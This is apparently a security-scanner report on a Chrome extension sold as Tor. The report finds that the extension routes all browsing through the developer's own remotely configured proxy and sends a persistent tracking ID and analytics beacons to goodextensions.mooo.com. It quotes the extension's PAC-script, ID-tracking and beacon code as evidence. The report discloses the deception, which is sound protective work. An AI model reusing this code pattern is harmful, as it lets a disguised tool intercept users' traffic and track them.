Is Tor Browser (Unofficial port for Chrome) safe?

Critical risk

Tor Browser is critical risk. Clicking Connect routes every HTTP/HTTPS request through goodextensions.mooo.com, developer infrastructure, not Tor. The proxy host comes from a config endpoint each popup open, so it can change anytime. Analysis confirmed the call and PAC.…

GOODEXTENSIONSv9.0.1Chrome Web Store
100Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityCRITICAL
ClassUNWANTED
TypeUnexpected
CWECWE-319
SourceAI SANDBOX

Fake Tor proxy routes all traffic through developer's server

Clicking Connect routes every HTTP/HTTPS request through goodextensions.mooo.com, developer infrastructure, not Tor.

The proxy host comes from a config endpoint each popup open, so it can change anytime.

Analysis confirmed the call and PAC

01EvidenceCAUSE EFFECT
What actually happens
You did this

You click Connect in the extension popup.

You expect your traffic to be anonymised through the Tor network.

The extension did this

The extension sets a browser-wide PAC script routing every HTTP and HTTPS request through ep01.goodextensions.mooo.com:443.

The proxy host was fetched from the developer's config endpoint moments earlier and can be changed remotely.

02EvidenceNETWORK CAPTURE
Captured request
GEThttps://goodextensions.mooo.com/ext/tor-browser/torconfig.php?cid=53c4d230-b38e-49b5-9794-3a8c83453b6d&nc=0.7341829
JSON object containing proxy host, port, and remote-config flags including magic_level, x_h, y_h, lang.
03EvidenceCODE COMPARE
The code that does this

PAC script construction, js/functions.js:12-32

What it actually does
function torOn {
 window.tor_enabled = 1;
 chrome.storage.session.set({tor_enabled: 1}, function{});
 chrome.storage.session.set({tor_started: 1}, function{});
 chrome.storage.session.set({tor_settings: tor_settings}, function{});
 chrome.proxy.settings.set(
 {
 value: {
 mode: 'pac_script',
 pacScript: {
 data: 'function FindProxyForURL(url, host) { return "HTTPS ' + tor_settings.url + ':443"; }'
 }
 },
 scope: 'regular'
 },
 function { console.log('TOR=On'); }
 );
}
04EvidenceTHIRD PARTY LIST
Proxy infrastructure destinations
  • goodextensions.mooo.com

    Config endpoint (torconfig.php) supplying the proxy host. Also parent domain for proxy servers ep01/ep04.goodextensions.mooo.com seen in analysis.

05EvidencePLAIN NOTE
This is not Tor

The Tor network routes traffic through a series of volunteer relays before it exits to the destination. This extension routes traffic through a single HTTPS proxy under the developer's control. That proxy sees the origin IP, the destination host, and — for unencrypted HTTP traffic — the full request content. The extension listing names the product 'Tor Browser (secure & fast)'; the code does not connect to any Tor relay or onion service.

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Persistent tracking ID sent to developer server on every popup open

Each popup open sends a unique ID, generated at install and stored in synced storage, to goodextensions.mooo.com.

This happens before Connect, regardless of proxy activation.

Analysis confirmed the same UUID across popup opens and sessions.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You open the extension popup.

No connection is established, no button is clicked.

The extension did this

The extension transmits your persistent UUID to goodextensions.mooo.com before rendering the Connect button.

The same ID is sent on every subsequent popup open, allowing the developer's server to build a timeline of when you opened the popup.

02EvidenceNETWORK CAPTURE
Captured request
GEThttps://goodextensions.mooo.com/ext/tor-browser/torconfig.php?cid=53c4d230-b38e-49b5-9794-3a8c83453b6d&nc=0.4129834
JSON config object with proxy host and remote-config fields. The cid value is stable across requests.
03EvidenceFIELD TABLE
Data transmitted to goodextensions.mooo.com on every popup open
FieldValueWhy it matters
Persistent user ID
53c4d230-b38e-49b5-9794-3a8c83453b6dA UUID tied to your browser profile, synced to any device signed into Chrome. Lets the server link all your popup opens to one identity.
Cache-bust nonce
0.7341829A random number appended to prevent caching. Has no privacy impact but confirms a fresh network request is made each time.
IP address
203.0.113.47Your public IP address is transmitted implicitly with every HTTP request.
04EvidenceCODE COMPARE
The code that does this

UUID storage and transmission, js/functions.js:57-73 + js/popup.js:34

What it actually does
UUID creation and sync storagejs/functions.js
async function getUserID {
 let obj = await chrome.storage.sync.get('id');
 let id = obj.id;
 if (id) {
 return id;
 } else {
 let id = uuidv4;
 chrome.storage.sync.set({ id: id });
 return id;
 }
}
Transmission on popup open (else branch — proxy not yet active)js/popup.js
$.getJSON(
 'https://goodextensions.mooo.com/ext/tor-browser/torconfig.php?cid=' + id + '&nc=' + Math.random,
 function(data) {
 window.tor_settings = data;
 render('<p style="text-align: center;"><button id="on">Connect</button></p>');
 button_act;
 // ...
 }
);
05EvidenceTHIRD PARTY LIST
Destination receiving the tracking ID
  • goodextensions.mooo.com

    Developer-controlled config endpoint. Receives the persistent user UUID, IP address, and install metadata on every popup open.

SeverityMEDIUM
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Analytics beacon fires to developer server on every popup open

Each popup open sends a request to stat.goodextensions.mooo.com.

It has no explicit parameters, but carries your IP and browser headers via the HTTP connection.

Analysis confirmed four popup opens each triggered a request.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You open the extension popup.

No interaction beyond opening the popup is required.

The extension did this

The extension sends a GET request to stat.goodextensions.mooo.com, transmitting your IP address implicitly.

This happens on every popup open with no conditions and no way for the user to opt out.

02EvidenceNETWORK CAPTURE
Captured request
GEThttps://stat.goodextensions.mooo.com/s/tor-browser
HTTP 200 with body {"status":"ok"}. No content returned beyond acknowledgement.
03EvidenceCODE COMPARE
The code that does this

Analytics beacon, js/stat.js:1 (entire file)

What it actually does
fetch('https://stat.goodextensions.mooo.com/s/tor-browser');
04EvidenceTHIRD PARTY LIST
Analytics destination
  • stat.goodextensions.mooo.com

    Developer-controlled analytics endpoint. Receives one request per popup open; no explicit payload beyond standard HTTP headers including IP address.

Updated 10 September 2026eaoamcgoidmhaficdbmcbamiedeklfol